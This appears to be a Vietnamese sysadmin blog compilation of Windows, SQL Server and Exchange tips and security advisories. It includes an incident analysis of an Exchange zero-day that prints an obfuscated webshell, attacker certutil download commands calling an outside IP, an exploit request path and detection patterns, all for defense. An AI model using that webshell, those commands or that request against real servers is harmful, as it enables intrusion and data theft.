Optimal Window’s OS page file settings for SQL Server

Windows OS page file not optimal

What is the Windows OS page file?

This file is a form of virtual memory.

When your memory ram becomes full, Windows moves data from your memory RAM to your hard drive, placing it in the page file (also known as the swap file).

By the way, this check is a part of our SQL Server Health Check.

You never want your SQL Server to start paging.

SQL Server tends to go pear-shaped when it’s memory is paged to disk.

Optimal page file size settings for SQL Server

By default, the page file is auto managed by Windows.

You don’t want to trust the management of page file to Windows, as it won’t do what is optimal for SQL Server.

Page file sizing depends on the system crash dump setting requirements and the peak usage or expected peak usage of the System commit charge.

Both considerations are unique to each System, even for identical systems.

The old rules of thumb (Page file size = RAM * 1.5 or RAM * 2) makes no sense in modern systems, where the logic should be: the more RAM you have, the less you need paging file.

So, how should you size your Page File?

It depends on the specific workload and the type of server.

When sizing the page file, we need to consider our application’s memory needs and crash dump settings.

A good point of start is set 8-12 GB size for Kernel Memory dump on System with up to 256GB RAM.

You can learn more about it here.

How can I change the windows file size?

You can configure the page file by using System Properties:

  1. Run sysdm.cpl;
  2. Go to Advanced ;
  3. Select Settings under Performance ;
  4. Go to Advanced (again);
  5. Change under Virtual Memory.

Source Internet

Thông tin bản cập nhật bảo mật (SU) Tháng 08/2023 Exchange Server

Thông tin bản cập nhật bảo mật(SU) Tháng 08/2023 Exchange Server

Ngày 08/08/2023 Microsoft đã phát hành Bản cập nhật bảo mật(SU) cho các lỗ hổng được tìm thấy: EX2016 CU23, EX2019 CU12,CU13

1/ CVE-2023-21709

Điểm nỗi bật bản này là giải quyết được lỗ hổng CVE-2023-21709 (khai thác TokenCacheModule trong IIS). Các bước cần thiết để giải quyết CVE-2023-21709 tốt nhất cài bản vá trước rồi hãy chạy script CVE-2023-21709.ps1

Cài đặt bản vá ngay lập tức để bảo vệ Exchange Server khỏi rủi ro có thể bị tổn thương:

Step 1. Cài bản vá  bảo mật tháng 8/2023 cho Exchange Server 2016/2019-> link

Step 2. Reboot the Exchange Server

Step 3. Run the CVE-2023-21709.ps1 script này bản chất sẽ remove tokencachemolude trong IIS-> link

Các CVE bên dưới được xử lý bằng Bản cập nhật bảo mật:

 CVE-2023-21709

CVE-2023-35368

CVE-2023-35388

CVE-2023-38181

CVE-2023-38182

CVE-2023-38185

2/ Hỗ trợ thay đổi thuật toán mã hóa mặc định trong Microsoft Purview Information Protection

Phần này chỉ áp dụng cho những khách hàng của MS sử dụng Exchange Server và Azure hoặc Dịch vụ quản lý quyền AD (RMS). Nếu bạn không biết đó là gì, những thay đổi về mã hóa Exchange Online CBC sẽ không áp dụng.

Bật hỗ trợ cho nội dung được mã hóa AES256-CBC trong Exchange Server đối với khách hàng nào sử dụng dịch vụ Azue hoặc AD (RMS) của MS.

Như đã thông báo trong phần Thay đổi thuật toán mã hóa trong bài đăng trên blog Microsoft Purview Information Protection, các SU Exchange Server tháng 8 năm 2023 chứa các bản cập nhật cho phép khách hàng sử dụng Exchange Server tại chỗ tiếp tục giải mã nội dung được bảo vệ bởi nhãn nhạy cảm Purview hoặc Dịch vụ quản lý quyền Active Directory. Vui lòng xem lại bài đăng trên blog đó để biết chi tiết và lịch trình, đồng thời đọc hỗ trợ AES256-CBC cho tài liệu Microsoft 365.

Nếu tổ chức của bạn bị ảnh hưởng bởi thay đổi này, sau khi cài đặt SU tháng 8 trên máy chủ Exchange của bạn, hãy xem bài viết về cách bật hỗ trợ mã hóa AES256-CBC. Xin lưu ý – bước này không cần thiết trừ khi máy chủ tại chỗ của bạn yêu cầu hỗ trợ cho AES256-CBC.

3/Giải quyết

Cài đặt DST không chính xác sau khi cập nhật hệ điều hành

4/Các sự cố đã biết với bản phát hành này

Những khách hàng bị ảnh hưởng bởi thay đổi mã hóa sắp tới của Microsoft 365 AES256-CBC cần thực hiện thao tác thủ công để bật thuật toán mã hóa mới sau khi SU được cài đặt vào tháng 8 năm 2023.

5/Note

Lưu ý rằng Exchange Server 2013 KHÔNG được hỗ trợ và bạn phải nâng cấp lên Exchange Server 2019 hoặc Exchange Online càng sớm càng tốt!

https://techcommunity.microsoft.com/t5/exchange-team-blog/released-august-2023-exchange-server-security-updates/ba-p/3892811

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21709

https://aka.ms/CVE-2023-21709ScriptDoc

https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-and-2016-august-8-2023-kb5029388-86b365c0-21f1-4a10-a68c-a095536f0171

https://aka.ms/ExchangeCBCKB

https://techcommunity.microsoft.com/t5/security-compliance-and-identity/encryption-algorithm-changes-in-microsoft-purview-information/ba-p/3831909

#jsisen

#viettechgroupvn

#phuongit

#exchangeserver

#phuongit

#cve202321709

#AES256CBCa

Phương nguyễn Viết

Microsoft Outlook Zero-Day Vulnerability- Elevation of Privilege Vulnerability CVE-2023-23397

Microsoft Outlook Zero-Day Vulnerability- Elevation of Privilege Vulnerability CVE-2023-23397

Tóm tắt:

Microsoft giải thích: CVE-2023-23397 là một lỗ hổng EoP nghiêm trọng trong Microsoft Outlook, được kích hoạt khi kẻ tấn công gửi thư có thuộc tính MAPI mở rộng với đường dẫn UNC đến chia sẻ SMB (TCP 445) trên máy chủ do tác nhân đe dọa kiểm soát. Không cần tương tác người dùng,”

Cơ chế

Kẻ tấn công đã khai thác thành công lỗ hổng này có thể truy cập hàm băm Net-NTLMv2 của người dùng, có thể được sử dụng làm cơ sở cho một cuộc tấn công Chuyển tiếp NTLM chống lại một dịch vụ khác để xác thực là người dùng.

Preview Pane

Hacker tận dụng tính Preview Pane của email Outlook Email được chế tạo đặc biệt sẽ tự động kích hoạt khi nó được ứng dụng khách Outlook truy xuất và xử lý, cung cấp một vectơ tấn công lén lút để tin tặc khai thác. “Kẻ tấn công có thể khai thác lỗ hổng này bằng cách gửi một email được chế tạo đặc biệt, email này sẽ tự động kích hoạt khi nó được ứng dụng khách Outlook truy xuất và xử lý. Điều này có thể dẫn đến việc khai thác TRƯỚC KHI email được xem trong Preview Pane,”

Các phiên bản ảnh hưởng

Tất cả các phiên bản được hỗ trợ của Microsoft Outlook (2010, 2013,2016,2019, 365Apps)cho Windows đều bị ảnh hưởng.

Các phiên bản khác của Microsoft Outlook như Android, iOS, Mac, cũng như Outlook trên web và các dịch vụ M365 khác không bị ảnh hưởng.

Biện pháp làm khắc phục:

Thêm người dùng vào Nhóm bảo mật người dùng được bảo vệ (Protected Users Security Group), ngăn việc sử dụng NTLM làm cơ chế xác thực. Việc thực hiện giảm thiểu này giúp khắc phục sự cố dễ dàng hơn so với các phương pháp vô hiệu hóa NTLM khác.

Chặn TCP 445/SMB gửi đi từ mạng của bạn bằng cách sử dụng tường lửa vành đai(DMZ), tường lửa cục bộ và thông qua cài đặt VPN. Điều này sẽ ngăn việc gửi thông báo xác thực NTLM tới chia sẻ tệp từ xa.

Máy trạm Client

Yêu cầu tất cả máy trạm của Người dùng cuối cần upgrade Microsoft Outlook cho các Phiên bản:

Microsoft Outlook 2013 (64-bit edition):https://www.microsoft.com/en-us/download/details.aspx?id=105070

Microsoft Outlook 2016 (64-bit edition):https://www.microsoft.com/en-us/download/details.aspx?id=105058

Microsoft Office LTSC 2019/2021/365 for 64-bit editions:=> Cick upgrade

Server Exchange và Exchange Online

Chạy Script CVE-2023-23397: CVE-2023-23397.ps1

Thông tin tham khảo:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397

https://msrc.microsoft.com/blog/2023/03/microsoft-mitigates-outlook-elevation-of-privilege-vulnerability/

https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/

Anh em sysadmin tập trung cập nhật bản vá Outlook cho máy trạm người dùng nhé.

Làm trên cả server và client tường lửa cứng mềm

#jsisen

#viettechgroupvn

#phuongit

#outlookzerodays

#phuongnguyenit

HƯỚNG DẪN CÀI ĐẶT IIS WEBSERVER, FTP WEBDAV LÀM DOWNLOAD SERVER TRÊN WINDOWS SERVER 2019/2022

HƯỚNG DẪN CÀI ĐẶT IIS WEBSERVER, FTP LÀM DOWNLOAD TRÊN WINDOWS SERVER 2019

Thông tin

Server OS: WS Server 2019

IP: 172.16.23.200/24

Cài đặt OS và Cập nhật Windows Server bản vá mới nhất

CÀI ĐẶT

Vào Server Manager->Manage-> Add roles and feautures

Cài đặt thành công

Test Web IIS

http://locahost

Cấu hình Web

Tạo thư mục để lưu file

Tạo new website

Cấu hình FPT

Đây là cách cấu hình FTP chạy theo hostname nhé

Chọn vào website vừa tạo ->Add FTP publishing

Tạo nhóm user FTP

Add nhóm G_FTP

Phân quyền thư mục

Cấp quyền thư mục D:\wwwroot\dl.viettechgroup.vn cho G_FTP

Kiểm tra truy cập

Lưu ý đối với truy cập FTP bằng host name không dùng IP và không nên dùng windows explorer hay lỗi xãy ra

Nhập thông tin:

Hostname: hostname port 21

Username: hostname|username

Ví dụ dl.viettechgroup.vn

Hostname: dl.viettechgroup.vn

Username: dl.viettechgroup.vn|phuong.nguyen

Sử dụng app winscp nhé

Có thể Mapping bằng windows

Ok nhé

Chúc các bạn thành công

Giờ thì các bạn có thể tổ chức cập nhật file download server

Cấu hình WebDav

IIS manager-> chọn site lúc nãy làm lab luôn nhé->chọn vào webdav authorizing rules

Chúng ta add luôn nhóm G_FTP lúc nãy vào luôn và phân quyền

Cho phép listing thư mục nhé

Cấu hình IIS authentication

Disable [Anonymous Authentication] và Enable [Basic Authentication] như bên dưới.

Share thư mục Download

Kết nối Webdav

Nhập tài khoản truy cập

Có thể truy cập trên web browser lun

Chúc các bạn thành công vui lòng ghi rõ nguồn nếu có copy

Phương Nguyễn Viết

Exchange Server 2013 sắp kết thúc hỗ trợ

Microsoft_Exchange_(2019-present).svg

Exchange Server 2013 End of Support Coming Soon
Vào ngày 11 tháng 4 năm 2023, tức là chưa đầy 90 ngày kể từ hôm nay, Exchange Server 2013 sẽ kết thúc Hỗ trợ!
Sau ngày đó, Microsoft sẽ không còn cung cấp:
Hỗ trợ kỹ thuật cho các sự cố có thể xảy ra liên quan Exchange 2013
Bản vá sửa lỗi cho các sự cố được phát hiện và có thể ảnh hưởng đến tính ổn định cũng như khả năng sử dụng của máy chủ Exchange Server 2013
Các bản sửa lỗi bảo mật (SU, CU) cho các lỗ hổng (,vulnerabilities ) được phát hiện và có thể khiến máy chủ dễ bị xâm phạm bảo mật
Cập nhật múi giờ

Tất nhiên, Exchange Server 2013 sẽ tiếp tục chạy sau ngày 11/04/2023; tuy nhiên, do những rủi ro được liệt kê ở trên, Microsoft thực sự khuyên khuyến cáo AE System nên di chuyển khỏi Exchange Server 2013 càng sớm càng tốt. Hãy bắt đầu ngay bây giờ lên plan để migration.
Để tiếp tục được hỗ trợ Sản phẩm liên quan Exchange, bạn có thể:
Upgrade to Exchange Server 2019 hoặc
Migrate to Exchange Online

jsisen

phuongit

exchange2013_eos

CẢNH BÁO CHIẾN DỊCH TẤN CÔNG SỬ DỤNG LỖ HỔNG ZERO DAY TRÊN MICROSOFT EXCHANGE SERVER

Khoảng từ đầu tháng 08/2022, trong quá trình thực hiện giám sát an ninh mạng và xử lý sự cố, Trung tâm vận hành bảo mật GTSC SOC phát hiện một đơn vị trọng yếu bị tấn công an ninh mạng vào hệ thống ứng dụng Microsoft Exchange. Quá trình điều tra, đội ngũ chuyên gia BlueTeam xác định kẻ tấn công đã sử dụng một lỗ hổng bảo mật của Microsoft Exchange chưa từng được công bố – hay còn gọi là lỗ hổng 0-day. GTSC SOC Team ngay lập tức đưa ra phương án ngăn chặn tạm thời. Song song, các chuyên gia RedTeam cũng bắt tay ngay vào việc nghiên cứu, debug lại mã nguồn ứng dụng Mail Exchange để tìm ra mã khai thác (exploit). Với lỗ hổng bảo mật Exchange trước đây, đội ngũ RedTeam cũng đã từng phân tích ra exploit trước khi có exploit được public trên thế giới (1-day exploit) nên việc hiểu luồng, cơ chế xử lý của hệ thống Email Exchange đã giúp giảm thời gian cho quá trình research. Ngay sau khi nghiên cứu ra exploit, GTSC đã submit lên ZDI để làm việc với Microsoft nhằm nhanh chóng có bản vá.

Sau khi ZDI verify đã ghi nhận 2 bug liên quan đến exploit:

Tuy nhiên đến thời điểm hiện tại, GTSC ghi nhận thêm các đơn vị khác cũng đang gặp phải sự cố. Sau khi kiểm tra, GTSC xác nhận hệ thống bị tấn công qua lỗ hổng 0-day này. Để hỗ trợ cộng đồng ngăn chặn tạm thời trước khi có bản vá chính thức từ Microsoft, chúng tôi công bố bài viết này để cảnh báo tới các đơn vị có sử dụng hệ thống email Microsoft Exchange.

Thông tin lỗ hổng bảo mật 

                – Đội ngũ Blueteam trong quá trình giám sát phát hiện được các request exploit dựa trên log IIS có định dạng giống như lỗ hổng ProxyShell: autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com. Đồng thời kiểm tra các logs khác, nhận thấy kẻ tấn công thực hiện được các câu lệnh trên hệ thống. Kiểm tra version number trên máy chủ Exchange bị tấn công nhận thấy máy chủ đã cài đặt bản cập nhật mới nhất tại thời điểm đó nên không thể có trường hợp khai thác bởi lỗ hổng Proxyshell -> xác nhận máy chủ bị khai thác bởi lỗ hổng 0-day RCE mới. Các thông tin này được Blueteam cung cấp lại cho Redteam, từ đó đội ngũ Redteam của GTSC đã tiến hành nghiên cứu để trả lời cho các câu hỏi như tại sao các request lại giống với request của bug ProxyShell?, luồng RCE được thực hiện như thế nào? 

                – Kết quả nghiên cứu đã giúp GTSC Redteam thành công tìm ra cách sử dụng đường dẫn trên để truy cập tới 1 component ở backend và thực hiện RCE. Thông tin kỹ thuật chi tiết về lỗ hổng tại thời điểm này chúng tôi xin phép chưa công bố.

Các hành vi sau khai thác

Sau quá trình khai thác thành công lỗ hổng, chúng tôi ghi nhận các hành vi tấn công nhằm thu thập thông tin và tạo chỗ đứng trong hệ thống của nạn nhân. Nhóm tấn công cũng sử dụng các kỹ thuật khác nhau nhằm tạo backdoor trên hệ thống bị ảnh hưởng và thực hiện lateral movement sang các máy chủ khác trong hệ thống.

Webshell

Chúng tôi phát hiện các webshell được drop xuống các máy chủ exchange. Các webshell chúng tôi thu thập được hầu hết được obfuscated. Thông qua User-agent chúng tôi phát hiện attacker sử dụng Antsword (một opensource có tính năng hỗ trợ quản lý webshell).

<%@Page Language=”Jscript”%>

<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘NTcyM’+’jk3O3’+’ZhciB’+’zYWZl’+”+’P’+’S’+char(837-763)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘MQ==’))+char(51450/525)+”+”+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘Wg==’))+’m’+”+’UiO2V’+’2YWwo’+’UmVxd’+’WVzdC’+’5JdGV’+’tWydF’+’WjBXS’+’WFtRG’+’Z6bU8’+’xajhk’+’J10sI’+’HNhZm’+’UpOzE’+’3MTY4’+’OTE7’+”)));%>

Chúng tôi nghi ngờ các hành vi khai thác này xuất phát từ các nhóm tấn công Trung Quốc, dựa trên codepage trong webshell là 936, một bảng mã ký tự Microsoft cho tiếng Trung giản thể (simplified Chinese).

Một đặc điểm đáng chú ý khác, bên cạnh việc drop các webshell mới hacker cũng thực hiện thay đổi nội dung trong file RedirSuiteServiceProxy.aspx thành nội dung webshell. RedirSuiteServiceProxy.aspx là một tên file hợp pháp sẵn có trong máy chủ Exchange

FileNamePath
RedirSuiteServiceProxy.aspxC:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
Xml.ashxC:\inetpub\wwwroot\aspnet_client
pxh4HG1v.ashxC:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

Trong quá trình xử lý sự cố tại một khách hàng khác, GTSC ghi nhận nhóm tấn công có sử dụng một mẫu webshell khác

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref: https://github.com/antonioCoco/SharPyShell

Command Execution

Bên cạnh các hành vi thu thập thông tin trên hệ thống, attacker thực hiện tải file và kiểm tra kết nối thông qua certutil có sẵn trên môi trường Windows

“cmd” /c cd /d “c:\\PerfLogs”&certutil.exe -urlcache -split -f http://206.188.196.77:8080/themes.aspx c:\perflogs\t&echo [S]&cd&echo [E]

“cmd” /c cd /d “c:\\PerfLogs”&certutil.exe -urlcache -split -f https://httpbin.org/get c:\test&echo [S]&cd&echo [E]

Ở cuối của mỗi câu lệnh mà kẻ tấn công thực hiện đều có chuỗi echo [S]&cd&echo [E], một trong những dấu hiệu nhận biết của China Chopper.

Ngoài ra, hacker cũng thực hiện inject DLL độc hại vào bộ nhớ, drop các file nghi ngờ lên các máy chủ bị tấn công, và thực thi các file này thông qua WMIC.

Suspicious File

Trên các máy chủ, chúng tôi phát hiện các file nghi ngờ có định dạng exe và dll

FileNamePath
DrSDKCaller.exeC:\root\DrSDKCaller.exe
all.exeC:\Users\Public\all.exe
dump.dllC:\Users\Public\dump.dll
ad.exeC:\Users\Public\ad.exe
gpg-error.exeC:\PerfLogs\gpg-error.exe
cm.exeC:\PerfLogs\cm.exe
msado32.tlbC:\Program Files\Common Files\system\ado\msado32.tlb

Trong số các file nghi ngờ trên, dựa vào các câu lệnh được thực hiện trên máy chủ, chúng tôi nhận định các file all.exe, dump.dll có nhiệm vụ trích xuất thông tin tài khoản trên hệ thống máy chủ. Sau các hành vi trích xuất thông tin tài khoản trên hệ thống, attacker sử dụng rar.exe để nén các file dump và copy ra webroot của máy chủ Exchange. Trong quá trình xử lý sự cố, các file trên đã không còn tồn tại trên hệ thống.

File cm.exe được drop xuống thư mục C:\PerfLogs\ là file cmd.exe

Malware Analysis

Thông tin DLL

File name: Dll.dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

Phân tích DLL

GTSC phân tích một mẫu cụ thể (074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82) để mô tả hành vi của mã độc, các mẫu DLL khác có nhiệm vụ và hành vi giống nhau, chỉ khác nhau về cấu hình listener

DLL gồm 2 hai class: Run và m. Bên trong mỗi class gọi tới các method thực hiện các nhiệm vụ khác nhau. Cụ thể:

Class Run thực hiện tạo listener lắng nghe các kết nối tới port 443, đường dẫn https://*:443/ews/web/webconfig/.

Sau quá trình lắng nghe, mã độc tạo thread mới goi tới r. Method r thực hiện:

–              Kiểm tra request nhận được có data trong body hay không. Nếu không có data đi kèm trong request gửi lên máy chủ, kết quả trả về là 404.

–              Ngược lại, nếu trong request có đi kèm data, DLL tiếp tục xử lý luồng bên trong nhánh IF:

Kiểm tra request nhận được có tồn tại “RPDbgEsJF9o8S=” hay không. Nếu có, gọi tới method i nằm trong class m để xử lý request nhận được. Kết quả trả về từ Run.m.i sẽ được covert sang chuỗi base64. Kết quả trả về cho client theo format

{

                “result”:1,

                “message”:”base64(aes(result))”

}

Class m

Method thực hiện:

–         Giải mã request nhận được bằng thuật toán AES với 16 bytes đầu tiên của request là giá trị IV, 16 bytes tiếp theo là giá trị key, các giá trị sau đó là data

–         Sau khi giải mã, lấy phần tử đầu tiên trong mảng làm flag để xử lý các case đã được định nghĩa

 Case 0: Gọi tới method info. Method này có nhiệm vụ thu thập thông tin hệ thống. Các thông tin bao như kiến trúc hệ điều hành, phiên bản framework, phiên bản hệ điều hành, v.v….GTSC mô phỏng lại case 0 bằng hình ảnh bên dưới. Request gửi lên theo format 16 bytes đầu là giá trị IV, 16 bytes tiếp theo là giá trị key, theo sau là flag để chỉ định option và phần còn lại là data.

base64 (IV | key | aes(flag|data))

Case 1: Gọi tới method sc. Method này có nhiệm vụ cấp phát vùng nhớ để thực thi shellcode

 Case 2: Gọi tới 2 method p và r. Method p xử lý các dữ liệu được ngăn cách bởi ký tự “|” lưu vào mảng array3. Mảng array3 sẽ lấy 2 phần tử đầu tiên làm tham số cho method r, method r có nhiệm vụ thực thi command

 Case 3: Gọi tới method ld. Method này có nhiệm vụ liệt kê thông tin thư mục và file theo format

D|-|<Ngày tạo> |<Ngày chỉnh sửa> |<tên thư mục hoặc tên file>

o   Case 4: Gọi tới method wf. Method này có nhiệm vụ ghi file

o   Case 5: Gọi tới method rf. Method này có nhiệm vụ đọc file

 Case 6: Tạo thư mục

o   Case 7: Xóa file hoặc thư mục

o   Case 8: Di chuyển File

o   Case 9: Set time cho file 

o   Case 10: Nạp và thực thi C# bytecode nhận từ request.

Các mẫu DLL khác có nhiệm vụ tương tự, chỉ khác nhau về cấu hình listener như sau:

                Victim 1:

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

                Victim 2:

                                     http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

Chúng tôi cũng phát hiện DLL được inject vào memory của tiến trình svchost.exe. DLL thực hiện kết nối gửi nhận dữ liệu tới địa chỉ 137[.]184[.]67[.]33 được config trong binary. Việc gửi nhận dữ liệu với C2 sử dụng thuật toán RC4, khóa sẽ được tạo trong thời gian chạy (runtime).

Các biện pháp ngăn chặn tạm thời

Quá trình xử lý sự cố trực tiếp của GTSC ghi nhận có trên 1 đơn vị tổ chức bị là nạn nhân của chiến dịch tấn công khai thác lỗ hổng zero day. Ngoài ra chúng tôi cũng lo ngại rằng có thể có nhiều tổ chức khác cũng đã bị khai thác nhưng chưa được phát hiện. Trong thời gian chờ đợi bản vá chính thức từ hãng, GTSC cung cấp biện pháp khắc phục tạm thời nhằm giảm thiểu việc tấn công khai thác lổ hổng bằng cách bổ sung rule chặn các request có dấu hiệu tấn công thông qua module URL Rewrite rule trên máy chủ IIS (Webserver)

– Trong Autodiscover tại FrontEnd chọn tab URL Rewrite chọn Request Blocking

– Add thêm chuỗi “.*autodiscover\.json.*\@.*Powershell.*“ vào Pattern (URL Path):   

– Condition input: lựa chọn {REQUEST_URI}

Phát hiện tấn công

Nhằm kiểm tra hệ thống đã bị tấn công bởi lổ hỗng này, các đơn vị/tổ chức có thể thực hiện theo các cách thức sau:

Cách 1: Sử dụng powershell với câu lệnh sau: (Sử dụng powershell để thực hiện search trên toàn bộ folder log IIS mất khá nhiều thời gian)

Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter “*.log” | Select-String -Pattern ‘powershell.*autodiscover\.json.*\@.*200

Cấu hình mặc định IIS log nằm tại đường dẫn “%SystemDrive%\inetpub\logs\LogFiles”

Cách 2: Sử dụng công cụ do GTSC phát triển dựa trên dấu hiệu khai thác lỗ hổng, thời gian thực hiện search nhanh hơn so với việc sử dụng powershell. Đường dẫn tải về công cụ: https://github.com/ncsgroupvn/NCSE0Scanner

Cách 3: Sử dụng công cụ của MS luôn nhé Exchange On-premises Mitigation Tool v2 (EOMTv2) link download tại đây

Indicators of Compromise (IOCs)

Webshell:

File Name: pxh4HG1v.ashx

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: Xml.ashx

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: C:\inetpub\wwwroot\aspnet_client\Xml.ashx

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx

DLL

File name: Dll.dll

SHA256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

File name: 180000000.dll (Dump từ tiến trình Svchost.exe)

SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e

IP

125[.]212[.]220[.]48

5[.]180[.]61[.]17

47[.]242[.]39[.]92

61[.]244[.]94[.]85

86[.]48[.]6[.]69

86[.]48[.]12[.]64

94[.]140[.]8[.]48

94[.]140[.]8[.]113

103[.]9[.]76[.]208

103[.]9[.]76[.]211

104[.]244[.]79[.]6

112[.]118[.]48[.]186

122[.]155[.]174[.]188

125[.]212[.]241[.]134

185[.]220[.]101[.]182

194[.]150[.]167[.]88

212[.]119[.]34[.]11

URL:

hxxp://206[.]188[.]196[.]77:8080/themes.aspx

C2:

137[.]184[.]67[.]33

Mitre ATT&CK Mapping

TaticIDName
Resource DevelopmentT1586.002Compromise Accounts: Email Accounts
ExecutionT1059.003Command and Scripting Interpreter: Windows Command Shell
ExecutionT1047Windows Management Instrumentation
PersistenceT1505.003Server Software Component: Web Shell
Defense EvasionT1070.004Indicator Removal on Host: File Deletion
Defense EvasionT1036.005Masquerading: Match Legitimate Name or Location
Defense EvasionT1620Reflective Code Loading
Credential AccessT1003.001OS Credential Dumping: LSASS Memory
DiscoveryT1087Account Discovery
DiscoveryT1083File and Directory Discovery
DiscoveryT1057Process Discovery
DiscoveryT1049System Network Connections Discovery
Lateral MovementT1570Lateral Tool Transfer
CollectionT1560.001Archive Collected Data: Archive via Utility

28/09/2022 

GTSC SECURITY TEAM

Link: https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html

Microsoft vá 63 lỗ hổng bảo mật Windows

Trong bản cập nhật Patch Tuesday tháng 9, Microsoft phát hành bản vá cho tổng cộng 63 lỗ hổng trên Windows.

Theo Microsoft, 5 trong số 63 lỗ hổng được xếp loại “nghiêm trọng” do kẻ xấu có thể lợi dụng để thực thi mã từ xa. Đây là một trong những loại lỗ hổng nguy hiểm nhất. Patch Tuesday tháng 9 vá 2 lỗ hổng zero-day đã được công bố, trong đó có 1 lỗ hổng đang được khai thác trong thực tế.

Microsoft phân loại một lỗ hổng là zero-day nếu nó đã được công bố hoặc được khai thác mà chưa có bản vá. Lỗ hổng zero-day được vá hôm nay là “CVE-2022-37969”. Nếu khai thác thành công, thủ phạm có thể chiếm được các đặc quyền hệ thống. Nó được các nhà nghiên cứu tại DBAPPSecurity, Mandiant, CrowdStrike và Zscaler phát hiện. Theo Dhanesh Kizhakkinan – Kỹ sư lỗ hổng cấp cao của Mandiant, dường như lỗ hổng nằm riêng lẻ và không thuộc một chuỗi.

“CVE-2022-37969” ảnh hưởng đến các phiên bản Windows từ 7 đến 11, cũng như Windows Servers 2008 và 2012. Chuyên gia bảo mật Mike Walters của Action1 cho biết, do lỗ hổng có độ phức tạp thấp và không cần tương tác của người dùng, nó có thể sớm bị giới hacker khai thác.

Theo Microsoft, lỗ hổng yêu cầu kẻ tấn công phải xâm nhập được vào thiết bị bị xâm phạm hoặc có khả năng khởi chạy mã trên hệ thống mục tiêu. Dustin Childs, Giám đốc tình báo nguy cơ tại Zero Day Initiative, chia sẻ thêm, các loại lỗ hổng này thường được sử dụng trong các hình thức tấn công social engineering như thuyết phục ai đó mở một tập tin hay bấm vào liên kết. Sau khi nạn nhân làm theo, mã bổ sung sẽ dùng đặc quyền leo thang để chiếm đoạt hệ thống.

Người dùng được khuyến nghị nên cập nhật bảo mật ngay khi có thể. Windows 7 cũng được nhận bản vá bảo mật dù đã bị hết hạn hỗ trợ vào năm 2020.

Nguồn  (Theo Bleeping Computer, Forbes)

Thông tin cảnh báo 7 lỗ hổng bảo mật mới của Microsoft CVE-2022-26809

Tổng quan:

Cảnh báo nhanh về lỗ hổng 0day CVE-2022-26809, Lỗ hổng thực thi mã từ xa trong Windows RPC Runtime không cần xác thực đang bị khai thác trong tự nhiên. Lỗ hổng chưa có nhiều thông tin đánh giá và phân tích chi tiết hay PoC được công bố. Tuy vậy cũng cần nắm bắt đề phòng, kịp thời phản ứng. Ngoài ra cũng cập nhật thêm thông tin một số lỗ hổng cần chú ý trong bản vá tháng 4 của Microsoft.

Phạm vi ảnh hưởng/Điều kiện khai thác ( CVE-2022-26809 ):

  • Hệ thống mở port 445 ra ngoài internet đều dễ bị tấn công
  • Các phiên bản Windows chưa được cập nhật bản vá tháng 4 mới nhất đều bị ảnh hưởng
  • Không cần thông tin xác thực

Thông tin chi tiết:

  1. CVE-2022-26809: Windows RPC Runtime RCE không cần xác thực

Lỗ hổng nằm trong thư viện rpcrt4.dll của Windows RPC Runtime. Hai function là OSF_CCALL::ProcessResponse and OSF_SCALL::ProcessReceivedPDU đảm nhận việc xử lý các gói tin RPC ở phía client (CCALL) và server (SCALL).

